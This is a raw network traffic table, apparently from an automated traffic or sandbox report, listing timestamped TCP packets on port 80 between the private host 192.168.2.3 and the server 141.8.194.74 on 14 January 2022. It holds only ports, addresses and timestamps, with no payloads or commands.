Jan 14, 2022 01:52:07.342547894 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.342572927 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.342586040 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.342587948 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.342624903 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.342664957 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.342678070 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.342705011 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.342741013 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.342753887 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.342778921 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.342817068 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.342853069 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.342864990 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.342891932 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.342905998 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.342931032 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.342979908 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.352641106 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.391176939 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.391242027 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.391283989 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.391313076 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.391325951 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.391350031 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.391366005 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.391402960 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.391441107 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.391453028 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.391478062 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.391516924 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.391525984 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.391556025 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.391565084 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.391593933 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.391633034 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.391642094 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.391671896 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.391706944 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.391721964 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.391746998 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.391783953 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.391820908 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.391835928 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.391860962 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.391870022 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.391899109 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.391937971 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.391952038 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.391976118 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.392011881 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.392035007 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.392050028 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.392086983 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.392124891 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.392138958 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.392163992 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.392185926 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.392200947 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.392239094 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.392257929 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.392277002 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.392313957 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.392350912 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.392369986 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.392389059 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.392391920 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.417917967 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.417979002 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.418045044 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.418077946 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.418082952 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.418121099 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.418123960 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.418164015 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.418191910 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.418203115 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.418242931 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.418265104 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.418284893 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.418323994 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.418363094 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.418400049 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.418401003 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.418427944 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.418437958 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.418476105 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.418513060 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.418526888 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.418551922 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.418589115 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.418601036 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.418627024 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.418638945 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.418665886 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.418703079 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.418728113 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.418741941 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.418781042 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.418795109 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.418824911 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.418867111 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.418881893 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.418903112 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.418941021 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.418957949 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.418981075 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.419017076 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.419054031 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.419070959 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.419092894 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.419101000 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.419131994 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.419171095 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.419184923 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.419207096 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.419245005 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.419269085 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.419285059 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.419321060 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.419358969 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.419374943 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.419397116 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.419401884 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.419435978 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.419477940 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.419492006 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.419528961 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.419581890 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.419583082 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.419625998 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.419662952 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.419699907 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.419713020 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.419738054 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.419775009 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.419790983 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.419814110 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.419830084 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.419851065 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.419888973 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.419903994 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.419926882 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.419962883 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.419984102 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.420001030 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.420037985 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.420075893 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.420090914 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.420114994 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.420135975 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.420152903 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.420190096 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.420208931 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.420228004 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.420264959 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.420303106 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.420317888 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.420340061 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.420356989 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.420378923 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.420434952 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.467747927 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.467806101 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.467849970 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.467885017 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.467890978 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.467931032 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.467950106 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.467971087 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.468008995 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.468048096 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.468075037 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.468086958 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.468092918 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.468126059 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.468167067 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.468199015 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.468204975 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.468245983 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.468270063 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.468288898 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.468326092 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.468365908 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.468379974 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.468405008 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.468410015 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.468441963 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.468481064 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.468494892 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.468521118 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.468559980 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.468600035 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.468614101 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.468637943 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.468677998 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.468687057 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.468718052 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.468724012 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.468755960 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.468795061 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.468801975 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.468833923 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.468873024 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.468880892 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.468913078 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.468949080 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.468987942 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.469001055 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.469027042 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.469033957 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.469063997 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.469114065 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.495340109 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.495400906 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.495441914 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.495481968 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.495512962 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.495522022 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.495553017 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.495563030 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.495599985 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.495641947 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.495655060 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.495682001 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.495721102 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.495738029 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.495760918 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.495769024 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.495798111 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.495837927 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.495852947 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.495882988 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.495919943 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.495958090 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.495970964 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.495996952 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.496007919 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.496035099 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.496074915 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.496085882 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.496110916 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.496150017 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.496164083 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.496187925 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.496225119 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.496264935 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.496275902 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.496304035 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.496342897 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.496355057 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.496382952 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.496395111 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.496419907 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.496458054 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.496470928 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.496495962 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.496532917 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.496546984 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.496571064 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.496608019 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.496645927 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.496658087 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.496684074 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.496691942 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.496721029 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.496758938 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.496771097 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.496797085 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.496834040 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.496846914 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.496872902 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.496910095 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.496948004 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.496959925 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.496988058 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.497025013 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.497061968 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.497098923 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.497100115 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.497107983 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.497137070 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.497150898 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.497174978 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.497211933 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.497236967 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.497288942 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.497328997 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.497364998 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.497384071 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.497402906 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.497409105 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.497442961 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.497479916 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.497518063 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.497529030 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.497556925 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.497564077 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.497592926 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.497631073 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.497642040 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.497668982 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.497706890 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.497745991 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.497757912 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.497781992 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.497781992 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.497819901 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.497870922 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.497898102 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.497951031 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.497987986 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.498001099 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.498027086 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.498076916 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.543910980 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.543961048 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.544002056 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.544023037 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.544042110 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.544087887 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.544116974 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.544127941 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.544167042 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.544171095 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.544207096 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.544245005 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.544286013 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.544296980 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.544325113 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.544326067 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.544363022 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.544401884 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.544413090 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.544440031 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.544476032 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.544512987 CET	80	49922	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:07.544523001 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.544550896 CET	49922	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:07.544550896 CET	80	49922	141.8.194.74	192.168.2.3
